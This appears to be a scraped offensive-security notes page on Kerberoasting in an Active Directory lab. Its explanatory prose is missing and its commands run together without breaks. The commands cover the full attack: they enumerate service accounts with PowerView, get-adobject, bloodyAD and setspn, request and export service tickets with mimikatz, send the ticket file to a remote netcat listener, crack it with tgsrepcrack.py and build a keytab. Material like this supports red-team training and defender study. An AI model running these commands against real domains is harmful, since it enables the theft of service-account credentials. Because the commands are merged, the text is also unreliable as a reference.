Kerberoasting
Credential Access
Execution

Extracting the Ticket





Cracking the Ticket

Observations


Traffic





tgsrepcrack.py



References
Last updated
nc -lvp 443 > kerberoast.binGet-NetUser | Where-Object {$_.servicePrincipalName} | flget-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"}get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalnamepython bloodyAD.py -u '$user' -p '$password' -d '$domain' --host '$host' get search --filter '(&(!(cn=krbtgt))(&(samAccountType=805306368)(servicePrincipalName=*)))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2 setspn -T offense -Q */*Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local"mimikatz # kerberos::list /exportnc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbipython2 tgsrepcrack.py pwd kerberoast.binroot@~# ktutil
ktutil: add_entry -password -p HTTP/[email protected] -k 1 -e arcfour-hmac-md5
Password for HTTP/[email protected]:
ktutil: wkt /root/tools/iis.keytab